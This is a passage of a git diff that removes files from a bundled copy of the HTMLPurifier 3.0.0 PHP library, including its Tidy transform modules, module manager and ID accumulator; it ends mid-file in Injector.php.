a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Tidy.php +++ /dev/null @@ -1,241 +0,0 @@ -<?php - -require_once 'HTMLPurifier/HTMLModule.php'; - -HTMLPurifier_ConfigSchema::define( - 'HTML', 'TidyLevel', 'medium', 'string', ' -<p>General level of cleanliness the Tidy module should enforce. -There are four allowed values:</p> -<dl> - <dt>none</dt> - <dd>No extra tidying should be done</dd> - <dt>light</dt> - <dd>Only fix elements that would be discarded otherwise due to - lack of support in doctype</dd> - <dt>medium</dt> - <dd>Enforce best practices</dd> - <dt>heavy</dt> - <dd>Transform all deprecated elements and attributes to standards - compliant equivalents</dd> -</dl> -<p>This directive has been available since 2.0.0</p> -' ); -HTMLPurifier_ConfigSchema::defineAllowedValues( - 'HTML', 'TidyLevel', array('none', 'light', 'medium', 'heavy') -); - -HTMLPurifier_ConfigSchema::define( - 'HTML', 'TidyAdd', array(), 'lookup', ' -Fixes to add to the default set of Tidy fixes as per your level. This -directive has been available since 2.0.0. -' ); - -HTMLPurifier_ConfigSchema::define( - 'HTML', 'TidyRemove', array(), 'lookup', ' -Fixes to remove from the default set of Tidy fixes as per your level. This -directive has been available since 2.0.0. -' ); - -/** - * Abstract class for a set of proprietary modules that clean up (tidy) - * poorly written HTML. - * @todo Figure out how to protect some of these methods/properties - */ -class HTMLPurifier_HTMLModule_Tidy extends HTMLPurifier_HTMLModule -{ - - /** - * List of supported levels. Index zero is a special case "no fixes" - * level. - */ - public $levels = array(0 => 'none', 'light', 'medium', 'heavy'); - - /** - * Default level to place all fixes in. Disabled by default - */ - public $defaultLevel = null; - - /** - * Lists of fixes used by getFixesForLevel(). Format is: - * HTMLModule_Tidy->fixesForLevel[$level] = array('fix-1', 'fix-2'); - */ - public $fixesForLevel = array( - 'light' => array(), - 'medium' => array(), - 'heavy' => array() - ); - - /** - * Lazy load constructs the module by determining the necessary - * fixes to create and then delegating to the populate() function. - * @todo Wildcard matching and error reporting when an added or - * subtracted fix has no effect. - */ - public function construct($config) { - - // create fixes, initialize fixesForLevel - $fixes = $this->makeFixes(); - $this->makeFixesForLevel($fixes); - - // figure out which fixes to use - $level = $config->get('HTML', 'TidyLevel'); - $fixes_lookup = $this->getFixesForLevel($level); - - // get custom fix declarations: these need namespace processing - $add_fixes = $config->get('HTML', 'TidyAdd'); - $remove_fixes = $config->get('HTML', 'TidyRemove'); - - foreach ($fixes as $name => $fix) { - // needs to be refactored a little to implement globbing - if ( - isset($remove_fixes[$name]) || - (!isset($add_fixes[$name]) && !isset($fixes_lookup[$name])) - ) { - unset($fixes[$name]); - } - } - - // populate this module with necessary fixes - $this->populate($fixes); - - } - - /** - * Retrieves all fixes per a level, returning fixes for that specific - * level as well as all levels below it. - * @param $level String level identifier, see $levels for valid values - * @return Lookup up table of fixes - */ - public function getFixesForLevel($level) { - if ($level == $this->levels[0]) { - return array(); - } - $activated_levels = array(); - for ($i = 1, $c = count($this->levels); $i < $c; $i++) { - $activated_levels[] = $this->levels[$i]; - if ($this->levels[$i] == $level) break; - } - if ($i == $c) { - trigger_error( - 'Tidy level ' . htmlspecialchars($level) . ' not recognized', - E_USER_WARNING - ); - return array(); - } - $ret = array(); - foreach ($activated_levels as $level) { - foreach ($this->fixesForLevel[$level] as $fix) { - $ret[$fix] = true; - } - } - return $ret; - } - - /** - * Dynamically populates the $fixesForLevel member variable using - * the fixes array. It may be custom overloaded, used in conjunction - * with $defaultLevel, or not used at all. - */ - public function makeFixesForLevel($fixes) { - if (!isset($this->defaultLevel)) return; - if (!isset($this->fixesForLevel[$this->defaultLevel])) { - trigger_error( - 'Default level ' . $this->defaultLevel . ' does not exist', - E_USER_ERROR - ); - return; - } - $this->fixesForLevel[$this->defaultLevel] = array_keys($fixes); - } - - /** - * Populates the module with transforms and other special-case code - * based on a list of fixes passed to it - * @param $lookup Lookup table of fixes to activate - */ - public function populate($fixes) { - foreach ($fixes as $name => $fix) { - // determine what the fix is for - list($type, $params) = $this->getFixType($name); - switch ($type) { - case 'attr_transform_pre': - case 'attr_transform_post': - $attr = $params['attr']; - if (isset($params['element'])) { - $element = $params['element']; - if (empty($this->info[$element])) { - $e =& $this->addBlankElement($element); - } else { - $e =& $this->info[$element]; - } - } else { - $type = "info_$type"; - $e =& $this; - } - $f =& $e->$type; - $f[$attr] = $fix; - break; - case 'tag_transform': - $this->info_tag_transform[$params['element']] = $fix; - break; - case 'child': - case 'content_model_type': - $element = $params['element']; - if (empty($this->info[$element])) { - $e =& $this->addBlankElement($element); - } else { - $e =& $this->info[$element]; - } - $e->$type = $fix; - break; - default: - trigger_error("Fix type $type not supported", E_USER_ERROR); - break; - } - } - } - - /** - * Parses a fix name and determines what kind of fix it is, as well - * as other information defined by the fix - * @param $name String name of fix - * @return array(string $fix_type, array $fix_parameters) - * @note $fix_parameters is type dependant, see populate() for usage - * of these parameters - */ - public function getFixType($name) { - // parse it - $property = $attr = null; - if (strpos($name, '#') !== false) list($name, $property) = explode('#', $name); - if (strpos($name, '@') !== false) list($name, $attr) = explode('@', $name); - - // figure out the parameters - $params = array(); - if ($name !== '') $params['element'] = $name; - if (!is_null($attr)) $params['attr'] = $attr; - - // special case: attribute transform - if (!is_null($attr)) { - if (is_null($property)) $property = 'pre'; - $type = 'attr_transform_' . $property; - return array($type, $params); - } - - // special case: tag transform - if (is_null($property)) { - return array('tag_transform', $params); - } - - return array($property, $params); - - } - - /** - * Defines all fixes the module will perform in a compact - * associative array of fix name to fix implementation. - */ - public function makeFixes() {} - -} - - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Tidy/Proprietary.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Tidy/Proprietary.php deleted file mode 100644 index 1cb3c8d..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Tidy/Proprietary.php +++ /dev/null @@ -1,17 +0,0 @@ -<?php - -require_once 'HTMLPurifier/HTMLModule/Tidy.php'; - -class HTMLPurifier_HTMLModule_Tidy_Proprietary extends - HTMLPurifier_HTMLModule_Tidy -{ - - public $name = 'Tidy_Proprietary'; - public $defaultLevel = 'light'; - - public function makeFixes() { - return array(); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Tidy/XHTML.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Tidy/XHTML.php deleted file mode 100644 index 5970a13..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Tidy/XHTML.php +++ /dev/null @@ -1,20 +0,0 @@ -<?php - -require_once 'HTMLPurifier/HTMLModule/Tidy.php'; -require_once 'HTMLPurifier/AttrTransform/Lang.php'; - -class HTMLPurifier_HTMLModule_Tidy_XHTML extends - HTMLPurifier_HTMLModule_Tidy -{ - - public $name = 'Tidy_XHTML'; - public $defaultLevel = 'medium'; - - public function makeFixes() { - $r = array(); - $r['@lang'] = new HTMLPurifier_AttrTransform_Lang(); - return $r; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php deleted file mode 100644 index 706f744..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php +++ /dev/null @@ -1,206 +0,0 @@ -<?php - -require_once 'HTMLPurifier/HTMLModule/Tidy.php'; - -require_once 'HTMLPurifier/TagTransform/Simple.php'; -require_once 'HTMLPurifier/TagTransform/Font.php'; - -require_once 'HTMLPurifier/AttrTransform/BgColor.php'; -require_once 'HTMLPurifier/AttrTransform/BoolToCSS.php'; -require_once 'HTMLPurifier/AttrTransform/Border.php'; -require_once 'HTMLPurifier/AttrTransform/Name.php'; -require_once 'HTMLPurifier/AttrTransform/Length.php'; -require_once 'HTMLPurifier/AttrTransform/ImgSpace.php'; -require_once 'HTMLPurifier/AttrTransform/EnumToCSS.php'; - -require_once 'HTMLPurifier/ChildDef/StrictBlockquote.php'; - -class HTMLPurifier_HTMLModule_Tidy_XHTMLAndHTML4 extends - HTMLPurifier_HTMLModule_Tidy -{ - - public function makeFixes() { - - $r = array(); - - // == deprecated tag transforms =================================== - - $r['font'] = new HTMLPurifier_TagTransform_Font(); - $r['menu'] = new HTMLPurifier_TagTransform_Simple('ul'); - $r['dir'] = new HTMLPurifier_TagTransform_Simple('ul'); - $r['center'] = new HTMLPurifier_TagTransform_Simple('div', 'text-align:center;'); - $r['u'] = new HTMLPurifier_TagTransform_Simple('span', 'text-decoration:underline;'); - $r['s'] = new HTMLPurifier_TagTransform_Simple('span', 'text-decoration:line-through;'); - $r['strike'] = new HTMLPurifier_TagTransform_Simple('span', 'text-decoration:line-through;'); - - // == deprecated attribute transforms ============================= - - $r['caption@align'] = - new HTMLPurifier_AttrTransform_EnumToCSS('align', array( - // we're following IE's behavior, not Firefox's, due - // to the fact that no one supports caption-side:right, - // W3C included (with CSS 2.1). This is a slightly - // unreasonable attribute! - 'left' => 'text-align:left;', - 'right' => 'text-align:right;', - 'top' => 'caption-side:top;', - 'bottom' => 'caption-side:bottom;' // not supported by IE - )); - - // @align for img ------------------------------------------------- - $r['img@align'] = - new HTMLPurifier_AttrTransform_EnumToCSS('align', array( - 'left' => 'float:left;', - 'right' => 'float:right;', - 'top' => 'vertical-align:top;', - 'middle' => 'vertical-align:middle;', - 'bottom' => 'vertical-align:baseline;', - )); - - // @align for table ----------------------------------------------- - $r['table@align'] = - new HTMLPurifier_AttrTransform_EnumToCSS('align', array( - 'left' => 'float:left;', - 'center' => 'margin-left:auto;margin-right:auto;', - 'right' => 'float:right;' - )); - - // @align for hr ----------------------------------------------- - $r['hr@align'] = - new HTMLPurifier_AttrTransform_EnumToCSS('align', array( - // we use both text-align and margin because these work - // for different browsers (IE and Firefox, respectively) - // and the melange makes for a pretty cross-compatible - // solution - 'left' => 'margin-left:0;margin-right:auto;text-align:left;', - 'center' => 'margin-left:auto;margin-right:auto;text-align:center;', - 'right' => 'margin-left:auto;margin-right:0;text-align:right;' - )); - - // @align for h1, h2, h3, h4, h5, h6, p, div ---------------------- - // {{{ - $align_lookup = array(); - $align_values = array('left', 'right', 'center', 'justify'); - foreach ($align_values as $v) $align_lookup[$v] = "text-align:$v;"; - // }}} - $r['h1@align'] = - $r['h2@align'] = - $r['h3@align'] = - $r['h4@align'] = - $r['h5@align'] = - $r['h6@align'] = - $r['p@align'] = - $r['div@align'] = - new HTMLPurifier_AttrTransform_EnumToCSS('align', $align_lookup); - - // @bgcolor for table, tr, td, th --------------------------------- - $r['table@bgcolor'] = - $r['td@bgcolor'] = - $r['th@bgcolor'] = - new HTMLPurifier_AttrTransform_BgColor(); - - // @border for img ------------------------------------------------ - $r['img@border'] = new HTMLPurifier_AttrTransform_Border(); - - // @clear for br -------------------------------------------------- - $r['br@clear'] = - new HTMLPurifier_AttrTransform_EnumToCSS('clear', array( - 'left' => 'clear:left;', - 'right' => 'clear:right;', - 'all' => 'clear:both;', - 'none' => 'clear:none;', - )); - - // @height for td, th --------------------------------------------- - $r['td@height'] = - $r['th@height'] = - new HTMLPurifier_AttrTransform_Length('height'); - - // @hspace for img ------------------------------------------------ - $r['img@hspace'] = new HTMLPurifier_AttrTransform_ImgSpace('hspace'); - - // @name for img, a ----------------------------------------------- - $r['img@name'] = - $r['a@name'] = new HTMLPurifier_AttrTransform_Name(); - - // @noshade for hr ------------------------------------------------ - // this transformation is not precise but often good enough. - // different browsers use different styles to designate noshade - $r['hr@noshade'] = - new HTMLPurifier_AttrTransform_BoolToCSS( - 'noshade', - 'color:#808080;background-color:#808080;border:0;' - ); - - // @nowrap for td, th --------------------------------------------- - $r['td@nowrap'] = - $r['th@nowrap'] = - new HTMLPurifier_AttrTransform_BoolToCSS( - 'nowrap', - 'white-space:nowrap;' - ); - - // @size for hr -------------------------------------------------- - $r['hr@size'] = new HTMLPurifier_AttrTransform_Length('size', 'height'); - - // @type for li, ol, ul ------------------------------------------- - // {{{ - $ul_types = array( - 'disc' => 'list-style-type:disc;', - 'square' => 'list-style-type:square;', - 'circle' => 'list-style-type:circle;' - ); - $ol_types = array( - '1' => 'list-style-type:decimal;', - 'i' => 'list-style-type:lower-roman;', - 'I' => 'list-style-type:upper-roman;', - 'a' => 'list-style-type:lower-alpha;', - 'A' => 'list-style-type:upper-alpha;' - ); - $li_types = $ul_types + $ol_types; - // }}} - - $r['ul@type'] = new HTMLPurifier_AttrTransform_EnumToCSS('type', $ul_types); - $r['ol@type'] = new HTMLPurifier_AttrTransform_EnumToCSS('type', $ol_types, true); - $r['li@type'] = new HTMLPurifier_AttrTransform_EnumToCSS('type', $li_types, true); - - // @vspace for img ------------------------------------------------ - $r['img@vspace'] = new HTMLPurifier_AttrTransform_ImgSpace('vspace'); - - // @width for hr, td, th ------------------------------------------ - $r['td@width'] = - $r['th@width'] = - $r['hr@width'] = new HTMLPurifier_AttrTransform_Length('width'); - - return $r; - - } - -} - -class HTMLPurifier_HTMLModule_Tidy_Transitional extends - HTMLPurifier_HTMLModule_Tidy_XHTMLAndHTML4 -{ - public $name = 'Tidy_Transitional'; - public $defaultLevel = 'heavy'; -} - -class HTMLPurifier_HTMLModule_Tidy_Strict extends - HTMLPurifier_HTMLModule_Tidy_XHTMLAndHTML4 -{ - public $name = 'Tidy_Strict'; - public $defaultLevel = 'light'; - - public function makeFixes() { - $r = parent::makeFixes(); - $r['blockquote#content_model_type'] = 'strictblockquote'; - return $r; - } - - public $defines_child_def = true; - public function getChildDef($def) { - if ($def->content_model_type != 'strictblockquote') return parent::getChildDef($def); - return new HTMLPurifier_ChildDef_StrictBlockquote($def->content_model); - } -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/XMLCommonAttributes.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/XMLCommonAttributes.php deleted file mode 100644 index ab41edd..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule/XMLCommonAttributes.php +++ /dev/null @@ -1,15 +0,0 @@ -<?php - -require_once 'HTMLPurifier/HTMLModule.php'; - -class HTMLPurifier_HTMLModule_XMLCommonAttributes extends HTMLPurifier_HTMLModule -{ - public $name = 'XMLCommonAttributes'; - - public $attr_collections = array( - 'Lang' => array( - 'xml:lang' => 'LanguageCode', - ) - ); -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModuleManager.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModuleManager.php deleted file mode 100644 index c03945d..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModuleManager.php +++ /dev/null @@ -1,479 +0,0 @@ -<?php - -require_once 'HTMLPurifier/HTMLModule.php'; -require_once 'HTMLPurifier/ElementDef.php'; -require_once 'HTMLPurifier/Doctype.php'; -require_once 'HTMLPurifier/DoctypeRegistry.php'; - -require_once 'HTMLPurifier/ContentSets.php'; -require_once 'HTMLPurifier/AttrTypes.php'; -require_once 'HTMLPurifier/AttrCollections.php'; - -require_once 'HTMLPurifier/AttrDef.php'; -require_once 'HTMLPurifier/AttrDef/Enum.php'; - -// W3C modules -require_once 'HTMLPurifier/HTMLModule/CommonAttributes.php'; -require_once 'HTMLPurifier/HTMLModule/Text.php'; -require_once 'HTMLPurifier/HTMLModule/Hypertext.php'; -require_once 'HTMLPurifier/HTMLModule/List.php'; -require_once 'HTMLPurifier/HTMLModule/Presentation.php'; -require_once 'HTMLPurifier/HTMLModule/Edit.php'; -require_once 'HTMLPurifier/HTMLModule/Bdo.php'; -require_once 'HTMLPurifier/HTMLModule/Tables.php'; -require_once 'HTMLPurifier/HTMLModule/Image.php'; -require_once 'HTMLPurifier/HTMLModule/StyleAttribute.php'; -require_once 'HTMLPurifier/HTMLModule/Legacy.php'; -require_once 'HTMLPurifier/HTMLModule/Target.php'; -require_once 'HTMLPurifier/HTMLModule/Scripting.php'; -require_once 'HTMLPurifier/HTMLModule/XMLCommonAttributes.php'; -require_once 'HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php'; -require_once 'HTMLPurifier/HTMLModule/Ruby.php'; -require_once 'HTMLPurifier/HTMLModule/Object.php'; - -// tidy modules -require_once 'HTMLPurifier/HTMLModule/Tidy.php'; -require_once 'HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php'; -require_once 'HTMLPurifier/HTMLModule/Tidy/XHTML.php'; -require_once 'HTMLPurifier/HTMLModule/Tidy/Proprietary.php'; - -HTMLPurifier_ConfigSchema::define( - 'HTML', 'Doctype', '', 'string', - 'Doctype to use during filtering. '. - 'Technically speaking this is not actually a doctype (as it does '. - 'not identify a corresponding DTD), but we are using this name '. - 'for sake of simplicity. When non-blank, this will override any older directives '. - 'like %HTML.XHTML or %HTML.Strict.' -); -HTMLPurifier_ConfigSchema::defineAllowedValues('HTML', 'Doctype', array( - '', 'HTML 4.01 Transitional', 'HTML 4.01 Strict', - 'XHTML 1.0 Transitional', 'XHTML 1.0 Strict', - 'XHTML 1.1' -)); - -HTMLPurifier_ConfigSchema::define( - 'HTML', 'CustomDoctype', null, 'string/null', -' -A custom doctype for power-users who defined there own document -type. This directive only applies when %HTML.Doctype is blank. -This directive has been available since 2.0.1. -' -); - -HTMLPurifier_ConfigSchema::define( - 'HTML', 'Trusted', false, 'bool', - 'Indicates whether or not the user input is trusted or not. If the '. - 'input is trusted, a more expansive set of allowed tags and attributes '. - 'will be used. This directive has been available since 2.0.0.' -); - -HTMLPurifier_ConfigSchema::define( - 'HTML', 'AllowedModules', null, 'lookup/null', ' -<p> - A doctype comes with a set of usual modules to use. Without having - to mucking about with the doctypes, you can quickly activate or - disable these modules by specifying which modules you wish to allow - with this directive. This is most useful for unit testing specific - modules, although end users may find it useful for their own ends. -</p> -<p> - If you specify a module that does not exist, the manager will silently - fail to use it, so be careful! User-defined modules are not affected - by this directive. Modules defined in %HTML.CoreModules are not - affected by this directive. This directive has been available since 2.0.0. -</p> -'); - -HTMLPurifier_ConfigSchema::define( - 'HTML', 'CoreModules', array( - 'Structure' => true, - 'Text' => true, - 'Hypertext' => true, - 'List' => true, - 'NonXMLCommonAttributes' => true, - 'XMLCommonAttributes' => true, - 'CommonAttributes' => true - ), 'lookup', ' -<p> - Certain modularized doctypes (XHTML, namely), have certain modules - that must be included for the doctype to be an conforming document - type: put those modules here. By default, XHTML\'s core modules - are used. You can set this to a blank array to disable core module - protection, but this is not recommended. This directive has been - available since 2.0.0. -</p> -'); - -class HTMLPurifier_HTMLModuleManager -{ - - /** - * Instance of HTMLPurifier_DoctypeRegistry - */ - public $doctypes; - - /** - * Instance of current doctype - */ - public $doctype; - - /** - * Instance of HTMLPurifier_AttrTypes - */ - public $attrTypes; - - /** - * Active instances of modules for the specified doctype are - * indexed, by name, in this array. - */ - public $modules = array(); - - /** - * Array of recognized HTMLPurifier_Module instances, indexed by - * module's class name. This array is usually lazy loaded, but a - * user can overload a module by pre-emptively registering it. - */ - public $registeredModules = array(); - - /** - * List of extra modules that were added by the user using addModule(). - * These get unconditionally merged into the current doctype, whatever - * it may be. - */ - public $userModules = array(); - - /** - * Associative array of element name to list of modules that have - * definitions for the element; this array is dynamically filled. - */ - public $elementLookup = array(); - - /** List of prefixes we should use for registering small names */ - public $prefixes = array('HTMLPurifier_HTMLModule_'); - - public $contentSets; /**< Instance of HTMLPurifier_ContentSets */ - public $attrCollections; /**< Instance of HTMLPurifier_AttrCollections */ - - /** If set to true, unsafe elements and attributes will be allowed */ - public $trusted = false; - - public function __construct() { - - // editable internal objects - $this->attrTypes = new HTMLPurifier_AttrTypes(); - $this->doctypes = new HTMLPurifier_DoctypeRegistry(); - - // setup default HTML doctypes - - // module reuse - $common = array( - 'CommonAttributes', 'Text', 'Hypertext', 'List', - 'Presentation', 'Edit', 'Bdo', 'Tables', 'Image', - 'StyleAttribute', 'Scripting', 'Object' - ); - $transitional = array('Legacy', 'Target'); - $xml = array('XMLCommonAttributes'); - $non_xml = array('NonXMLCommonAttributes'); - - $this->doctypes->register( - 'HTML 4.01 Transitional', false, - array_merge($common, $transitional, $non_xml), - array('Tidy_Transitional', 'Tidy_Proprietary'), - array(), - '-//W3C//DTD HTML 4.01 Transitional//EN', - 'http://www.w3.org/TR/html4/loose.dtd' - ); - - $this->doctypes->register( - 'HTML 4.01 Strict', false, - array_merge($common, $non_xml), - array('Tidy_Strict', 'Tidy_Proprietary'), - array(), - '-//W3C//DTD HTML 4.01//EN', - 'http://www.w3.org/TR/html4/strict.dtd' - ); - - $this->doctypes->register( - 'XHTML 1.0 Transitional', true, - array_merge($common, $transitional, $xml, $non_xml), - array('Tidy_Transitional', 'Tidy_XHTML', 'Tidy_Proprietary'), - array(), - '-//W3C//DTD XHTML 1.0 Transitional//EN', - 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd' - ); - - $this->doctypes->register( - 'XHTML 1.0 Strict', true, - array_merge($common, $xml, $non_xml), - array('Tidy_Strict', 'Tidy_XHTML', 'Tidy_Strict', 'Tidy_Proprietary'), - array(), - '-//W3C//DTD XHTML 1.0 Strict//EN', - 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd' - ); - - $this->doctypes->register( - 'XHTML 1.1', true, - array_merge($common, $xml, array('Ruby')), - array('Tidy_Strict', 'Tidy_XHTML', 'Tidy_Proprietary', 'Tidy_Strict'), // Tidy_XHTML1_1 - array(), - '-//W3C//DTD XHTML 1.1//EN', - 'http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd' - ); - - } - - /** - * Registers a module to the recognized module list, useful for - * overloading pre-existing modules. - * @param $module Mixed: string module name, with or without - * HTMLPurifier_HTMLModule prefix, or instance of - * subclass of HTMLPurifier_HTMLModule. - * @note This function will not call autoload, you must instantiate - * (and thus invoke) autoload outside the method. - * @note If a string is passed as a module name, different variants - * will be tested in this order: - * - Check for HTMLPurifier_HTMLModule_$name - * - Check all prefixes with $name in order they were added - * - Check for literal object name - * - Throw fatal error - * If your object name collides with an internal class, specify - * your module manually. All modules must have been included - * externally: registerModule will not perform inclusions for you! - * @warning If your module has the same name as an already loaded - * module, your module will overload the old one WITHOUT - * warning. - */ - public function registerModule($module) { - if (is_string($module)) { - // attempt to load the module - $original_module = $module; - $ok = false; - foreach ($this->prefixes as $prefix) { - $module = $prefix . $original_module; - if ($this->_classExists($module)) { - $ok = true; - break; - } - } - if (!$ok) { - $module = $original_module; - if (!$this->_classExists($module)) { - trigger_error($original_module . ' module does not exist', - E_USER_ERROR); - return; - } - } - $module = new $module(); - } - if (empty($module->name)) { - trigger_error('Module instance of ' . get_class($module) . ' must have name'); - return; - } - $this->registeredModules[$module->name] = $module; - } - - /** - * Safely tests for class existence without invoking __autoload in PHP5 - * or greater. - * @param $name String class name to test - */ - private function _classExists($name) { - return class_exists($name, false); - } - - /** - * Adds a module to the current doctype by first registering it, - * and then tacking it on to the active doctype - */ - public function addModule($module) { - $this->registerModule($module); - if (is_object($module)) $module = $module->name; - $this->userModules[] = $module; - } - - /** - * Adds a class prefix that registerModule() will use to resolve a - * string name to a concrete class - */ - public function addPrefix($prefix) { - $this->prefixes[] = $prefix; - } - - /** - * Performs processing on modules, after being called you may - * use getElement() and getElements() - * @param $config Instance of HTMLPurifier_Config - */ - public function setup($config) { - - $this->trusted = $config->get('HTML', 'Trusted'); - - // generate - $this->doctype = $this->doctypes->make($config); - $modules = $this->doctype->modules; - - // take out the default modules that aren't allowed - $lookup = $config->get('HTML', 'AllowedModules'); - $special_cases = $config->get('HTML', 'CoreModules'); - - if (is_array($lookup)) { - foreach ($modules as $k => $m) { - if (isset($special_cases[$m])) continue; - if (!isset($lookup[$m])) unset($modules[$k]); - } - } - - // merge in custom modules - $modules = array_merge($modules, $this->userModules); - - foreach ($modules as $module) { - $this->processModule($module); - } - - foreach ($this->doctype->tidyModules as $module) { - $this->processModule($module); - if (method_exists($this->modules[$module], 'construct')) { - $this->modules[$module]->construct($config); - } - } - - // setup lookup table based on all valid modules - foreach ($this->modules as $module) { - foreach ($module->info as $name => $def) { - if (!isset($this->elementLookup[$name])) { - $this->elementLookup[$name] = array(); - } - $this->elementLookup[$name][] = $module->name; - } - } - - // note the different choice - $this->contentSets = new HTMLPurifier_ContentSets( - // content set assembly deals with all possible modules, - // not just ones deemed to be "safe" - $this->modules - ); - $this->attrCollections = new HTMLPurifier_AttrCollections( - $this->attrTypes, - // there is no way to directly disable a global attribute, - // but using AllowedAttributes or simply not including - // the module in your custom doctype should be sufficient - $this->modules - ); - } - - /** - * Takes a module and adds it to the active module collection, - * registering it if necessary. - */ - public function processModule($module) { - if (!isset($this->registeredModules[$module]) || is_object($module)) { - $this->registerModule($module); - } - $this->modules[$module] = $this->registeredModules[$module]; - } - - /** - * Retrieves merged element definitions. - * @return Array of HTMLPurifier_ElementDef - */ - public function getElements() { - - $elements = array(); - foreach ($this->modules as $module) { - foreach ($module->info as $name => $v) { - if (isset($elements[$name])) continue; - // if element is not safe, don't use it - if (!$this->trusted && ($v->safe === false)) continue; - $elements[$name] = $this->getElement($name); - } - } - - // remove dud elements, this happens when an element that - // appeared to be safe actually wasn't - foreach ($elements as $n => $v) { - if ($v === false) unset($elements[$n]); - } - - return $elements; - - } - - /** - * Retrieves a single merged element definition - * @param $name Name of element - * @param $trusted Boolean trusted overriding parameter: set to true - * if you want the full version of an element - * @return Merged HTMLPurifier_ElementDef - */ - public function getElement($name, $trusted = null) { - - $def = false; - if ($trusted === null) $trusted = $this->trusted; - - $modules = $this->modules; - - if (!isset($this->elementLookup[$name])) { - return false; - } - - foreach($this->elementLookup[$name] as $module_name) { - - $module = $modules[$module_name]; - - // copy is used because, ideally speaking, the original - // definition should not be modified. Usually, this will - // make no difference, but for consistency's sake - $new_def = $module->info[$name]->copy(); - - // refuse to create/merge in a definition that is deemed unsafe - if (!$trusted && ($new_def->safe === false)) { - $def = false; - continue; - } - - if (!$def && $new_def->standalone) { - // element with unknown safety is not to be trusted. - // however, a merge-in definition with undefined safety - // is fine - if (!$trusted && !$new_def->safe) continue; - $def = $new_def; - } elseif ($def) { - $def->mergeIn($new_def); - } else { - // could "save it for another day": - // non-standalone definitions that don't have a standalone - // to merge into could be deferred to the end - continue; - } - - // attribute value expansions - $this->attrCollections->performInclusions($def->attr); - $this->attrCollections->expandIdentifiers($def->attr, $this->attrTypes); - - // descendants_are_inline, for ChildDef_Chameleon - if (is_string($def->content_model) && - strpos($def->content_model, 'Inline') !== false) { - if ($name != 'del' && $name != 'ins') { - // this is for you, ins/del - $def->descendants_are_inline = true; - } - } - - $this->contentSets->generateChildDef($def, $module); - } - - // add information on required attributes - foreach ($def->attr as $attr_name => $attr_def) { - if ($attr_def->required) { - $def->required_attr[] = $attr_name; - } - } - - return $def; - - } - -} - - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/IDAccumulator.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/IDAccumulator.php deleted file mode 100644 index a840460..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/IDAccumulator.php +++ /dev/null @@ -1,57 +0,0 @@ -<?php - -HTMLPurifier_ConfigSchema::define( - 'Attr', 'IDBlacklist', array(), 'list', - 'Array of IDs not allowed in the document.' -); - -/** - * Component of HTMLPurifier_AttrContext that accumulates IDs to prevent dupes - * @note In Slashdot-speak, dupe means duplicate. - * @note The default constructor does not accept $config or $context objects: - * use must use the static build() factory method to perform initialization. - */ -class HTMLPurifier_IDAccumulator -{ - - /** - * Lookup table of IDs we've accumulated. - * @public - */ - public $ids = array(); - - /** - * Builds an IDAccumulator, also initializing the default blacklist - * @param $config Instance of HTMLPurifier_Config - * @param $context Instance of HTMLPurifier_Context - * @return Fully initialized HTMLPurifier_IDAccumulator - */ - public static function build($config, $context) { - $id_accumulator = new HTMLPurifier_IDAccumulator(); - $id_accumulator->load($config->get('Attr', 'IDBlacklist')); - return $id_accumulator; - } - - /** - * Add an ID to the lookup table. - * @param $id ID to be added. - * @return Bool status, true if success, false if there's a dupe - */ - public function add($id) { - if (isset($this->ids[$id])) return false; - return $this->ids[$id] = true; - } - - /** - * Load a list of IDs into the lookup table - * @param $array_of_ids Array of IDs to load - * @note This function doesn't care about duplicates - */ - public function load($array_of_ids) { - foreach ($array_of_ids as $id) { - $this->ids[$id] = true; - } - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Injector.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Injector.php deleted file mode 100644 index c9f9f2e..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Injector.php +++ /dev/null @@ -1,121 +0,0 @@ -<?php - -/** - * Injects tokens into the document while parsing for well-formedness. - * This enables "formatter-like" functionality such as auto-paragraphing, - * smiley-ification and linkification to take place. - * - * @todo Allow injectors to request a re-run on their output. This - * would help if an operation is recursive. - */ -abstract class HTMLPurifier_Injector -{ - - /** - * Advisory name of injector, this is for friendly error messages - */ - public $name; - - /** - * Amount of tokens the injector needs to skip + 1. Because - * the decrement is the first thing that happens, this needs to - * be one greater than the "real" skip count. - */ - public $skip = 1; - - /** - * Instance of HTMLPurifier_HTMLDefinition - */ - protected $htmlDefinition; - - /** - * Reference to CurrentNesting variable in Context. This is an array - * list of tokens that we are currently "inside" - */ - protected $currentNesting; - - /** - * Reference to InputTokens variable in Context. This is an array - * list of the input tokens that are being processed. - */ - protected $inputTokens; - - /** - * Reference to InputIndex variable in Context. This is an integer - * array index for $this->inputTokens that indicates what token - * is currently being processed. - */ - protected $inputIndex; - - /** - * Array of elements and attributes this injector 